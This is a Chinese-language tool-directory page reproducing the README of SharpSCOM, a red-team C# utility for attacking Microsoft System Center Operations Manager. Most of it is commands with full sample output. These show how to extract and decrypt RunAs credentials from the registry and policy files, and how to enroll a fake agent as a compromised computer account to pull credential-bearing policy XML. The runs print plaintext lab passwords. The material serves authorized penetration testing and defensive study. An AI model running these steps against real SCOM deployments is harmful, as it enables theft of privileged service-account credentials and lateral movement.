Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpSCOM — 用于与 SCOM 交互的 C# 实用工具 | Kitploit
工具/GitHubGitHub/breakfix/sharpscom
身份验证与授权漏洞利用冒充工具后渗透利用渗透测试红队
GitHubbreakfix/sharpscom

SharpSCOM

用于与 SCOM 交互的 C# 实用工具

查看仓库
100132710个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
# SharpSCOM

一个用于与 Microsoft System Center Operations Manager (SCOM) 交互的 C# 工具。

该工具已在 SCOM Server 版本 `10.22.10118.0` 上完成测试。

SSPI 集成通过 Kevin Thompson (antiduh) 发布的 [nsspi](https://github.com/antiduh/nsspi) 库提供,该库以 BSD-2 许可证发布。

## 命令行用法
```
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                 

作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1

用法:SharpSCOM <command> [options]

命令:
  RegisterAgent          向 SCOM 服务器注册新代理
  RegisterCertificate    为现有代理分配证书
  RequestPolicy          从 SCOM 服务器请求策略
  DownloadPolicy         从 SCOM 服务器下载策略
  AutoEnroll             发送由 RegisterAgent、RegisterCertificate 和 RequestPolicy 组成的多部分请求,并尝试自动下载策略
  DecryptPolicy          解密策略文件中的 SecureData 部分
  DecryptRunAs           从注册表中提取并解密 RunAs 凭据

常用选项:
  /hostname:<name>       计算机主机名(默认:当前机器)
  /managementgroup:<mg>  SCOM 管理组名称
  /server:<server>       SCOM 服务器地址
  /port:<port>           SCOM 服务器端口(默认:5723)
  /outfile:<file>        输出文件路径
  /data:<base64>         以 Base64 编码的数据
  /key:<xml>             以 XML 格式表示的 RSA 私钥
  /verbose               启用详细输出
  /help                  显示此帮助信息

示例:
  SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
  SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
  SharpSCOM DecryptRunAs
```

## 示例(主机内命令)

以下命令旨在当前已注册到 SCOM 的服务器上运行。如果 RunAs 凭据正在使用且已分发到服务器,我们可以使用以下命令恢复明文凭据。

### 提取 RunAs 凭据(DPAPI)

从注册表中提取并解密 RunAs 凭据(需要本地管理员权限):
```
SharpSCOM.exe decryptrunas

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █

作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] 正在注册表中搜索 RunAs 凭据...
[+] 找到 4 个凭据

用户名:ludus\opsmgr_action
密码:Password123

用户名:ludus\opsmgr_dataread
密码:Password123

用户名:ludus\opsmgr_datawrite
密码:Password123

用户名:ludus\runas_account
密码:SuperSecure!

[+] 完成
```

### 从 Policy.xml SecureData 中提取 RunAs 凭据

提取并解密存储在代理策略 XML 文件的 `SecureData` 部分中的 RunAs 凭据。默认情况下,该文件位于 `C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config`

此命令将在 `Local Machine\Microsoft Monitoring Agent` 证书存储中定位当前的 SCOM RunAs 证书,并使用关联的私钥进行解密。

```
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>


█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                     

作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] 正在尝试解密策略数据...
[+] 正在使用证书存储中的证书
[+] 在 Microsoft Monitoring Agent 存储中找到证书
[+] 主题:O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] 颁发者:O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] 指纹:88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] 密钥大小:2048
[+] 已成功从证书加载 RSA 密钥
[+] SecureData 解密成功!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
```

## 示例(主机外命令)

如果我们控制了一台已加入域但**尚未**注册到 SCOM 的主机,并且满足以下要求,则可以尝试注册该设备并请求代理策略 XML 文件。

要求:
- 以计算机帐户身份进行 Kerberos 身份验证
- 启用自动注册

要注册新设备,SCOM 代理将向 SCOM 服务器发送以下 4 条消息。

| 命令 | 描述 |
|---------|-------------|
| `RegisterAgent` | 向 SCOM 服务器注册新代理 |
| `RegisterCertificate` | 为现有代理分配证书 |
| `RequestPolicy` | 从 SCOM 服务器请求策略 |
| `DownloadPolicy` | 从 SCOM 服务器下载策略 |

出于测试目的,可以使用 SharpSCOM 中相应的命令将上述每条消息单独发送到 SCOM 服务器。

  > 注意:SCOM 服务器期望这些消息作为多消息请求的一部分一并接收。为了可靠地获取代理策略文件,我们必须使用 `AutoEnroll` 命令,该命令会将 `RegisterAgent`、`RegisterCertificate` 和 `RequestPolicy` 命令作为多部分消息一并发送。

发送 `AutoEnroll` 命令后,来自 SCOM 服务器的响应将被自动解析,并用于生成最终的 `DownloadPolicy` 消息,以下载代理策略 XML 文件。

### 自动注册新代理
```bash
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █

作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] 使用主机名:fake1.ludus.domain (24849d66-ef29-d6c4-4ff1-3e77a3e37a54)
[+] 使用管理组:SCOM1 (f0bc91d0-6de8-1fa8-d6bd-eb98f66672ad)
[+] 服务器:scom-om1.ludus.domain:5723
[+] 正在准备发送多部分代理消息...
[+] 正在连接到 scom-om1.ludus.domain:5723
[+] 正在执行 Kerberos SSPI 身份验证...
[+] 身份验证成功!
[+] 客户端授权机构:
[+] 客户端上下文用户:LUDUS.DOMAIN\fake1$
[+] 客户端会话密钥:FF-36-61-D8-3D-53-71-B4-F8-4F-AA-E5-D4-0F-FA-1B-1F-34-15-62-F7-F4-3F-11-16-15-4B-47-1F-25-8B-59
[+] 正在生成代理注册消息
[+] 正在生成代理证书消息
[+] 正在为 fake1.ludus.domain 生成新代理证书
[+] 主题:CN=fake1.ludus.domain, OU=RunAs Account Encryption, O=Microsoft
[+] 序列号:4718FEBFD26B45A24405206C262C1F66
[+] 生效日期:10/26/2025 2:32:48 AM UTC
[+] 失效日期:10/26/2026 2:32:48 AM UTC
[+] 指纹:7AA2A863985A965AA7E42061F5D344D17B68DB23
[+] 公钥(十六进制):<REDACTED FOR BREVITY>
[+] 证书(DER Base64):<REDACTED FOR BREVITY>
[+] 私钥(XML):<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>
[+] 正在生成代理策略请求
[+] 正在发送多部分代理消息...
[+] 正在向服务器发送 1174 字节...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] 明文包装令牌(base64):<REDACTED FOR BREVITY>
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib 解压缩后的包装令牌(base64):<REDACTED FOR BREVITY>
[+] 正在等待服务器响应...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] 明文包装令牌(base64):AyBzGQQgBCD+AAAA0QAAAHicm+eqwsHEwMDxjoGBgRmInXz9fdkZGRgMU+ZOiYjOWtL8f0tTQMJz9pOB3j12jrKrVm3W2Gnw/8VfT6A6DqB6oF4G8RQGBnT5tLktKprvj1zz/2hXvvhxVYi32x2gqQwMp1v5QBRDE1SvBTOYy3A2HkIDzRIA0YwMGkAyjcGUwYjBmMGSIQUIzRl0GVIZkoBiIJYJkG3BkAxkWQDFjBgMgSxjICsJKJsKps0YEoEiyUCVegwVDLkMOQyPTyi9SCl/4Nd7NF7jsMvBEgDLhkBP
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib 解压缩后的包装令牌(base64):nkUkCAIAAAjuAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB8lRS4w+QR2qqrMouTD/6P1JTU9NCAAAAAIAAAAXZAAAyVFLjD5BHaqqsyi5MP/o/WadhCQp78TWT/E+d6PjelRLRtwBAAAAAMuFDgAAAAAAggAAAAIAAAA4AwAAAAAAAM1fAAAAAAAAF2QAEAAAAAABACgAAABmADUAMgAzADkAZABkADcALQBlAGIANQA3AC0ANABlADgAYwAtADgAYgAyADEALQAzAGIAYgA3AGUAYgBiADYAYQAzAGMANAAuAHgAbQBsAOPIIuhkd+BOjcVfKMNEwXQ=
[+] 从服务器收到 225 字节
[+] 收到服务器注册响应
[+] 正在生成策略下载消息
[+] server_guid: C9-51-4B-8C-3E-41-1D-AA-AA-B3-28-B9-30-FF-E8-FD
[+] policy_guid: E3-C8-22-E8-64-77-E0-4E-8D-C5-5F-28-C3-44-C1-74
[+] policy_length_1: CD-5F-00-00
[+] policy_length_2: 38-03-00-00
[+] 正在向服务器发送 148 字节...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] 明文包装令牌(base64):AyBzGQQgBCCoAAAAhAAAAHicm+eqwsHMwMAwA4hBtJOvvy87IwODYcrcKRHRWUua/29pCkh4zp42t0VF8/2Ra/4f7coXP64K8QSq44TqEU9hYECXPxno3WPnKLtq1WaNnQb/X/x1crsDNJWBgZUBAnSA2IIZwmZkQAVn4xkYHp9QepFS/sCv92i8xmGXgyUA73oyHQ==
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib 解压缩后的包装令牌(base64):nkUkCAMAAACYAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB2adhCQp78TWT/E+d6PjelRJTU9NCQAAAAMAAAAXZAAAZp2EJCnvxNZP8T53o+N6VMlRS4w+QR2qqrMouTD/6P1CRtwBAAAAAAUAAAAAAAAALAAAADgDAAAAAAAAAQAAAAAAAAAAAAAAAAAAAM1fAADjyCLoZHfgTo3FXyjDRMF0
[+] 正在等待服务器响应...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] 明文包装令牌(base64):<REDACTED FOR BREVITY>
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib 解压缩后的包装令牌(base64):<REDACTED FOR BREVITY>
[+] 从服务器收到 8655 字节
[+] 已成功将策略 XML 写入 C:\Users\domainadmin\desktop\policy_new.xml
[+] 完成
[+] 已断开与服务器的连接
```

### 解密收到的代理策略 XML 文件

收到策略文件后,我们可以提取 `SecureData` 部分,并使用与代理证书关联的私钥进行解密。

```
SharpSCOM.exe decryptpolicy /data:"DAEAAAECAAAQZgA<REDACTED FOR BREVITY> /key:<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                 

作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] 正在尝试解密策略数据...
[+] 正在使用 XML 中的私钥
[+] 密钥大小:2048
[+] 已成功从 XML 加载 RSA 密钥
[+] SecureData 解密成功!
<SecureStorageContainer><SecureStorageReferences><Added /><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
```

## 许可证

本项目基于 BSD 3-Clause 许可证授权——详情请参阅 LICENSE 文件。

## 免责声明

此工具仅供教育和授权的安全测试使用。在针对任何 SCOM 基础设施使用此工具之前,请确保您已获得适当的授权。

## 作者

Matt Johnson (@breakfix) - SpecterOps

## 参考资料

请参阅随附的博客文章:https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/
下载工具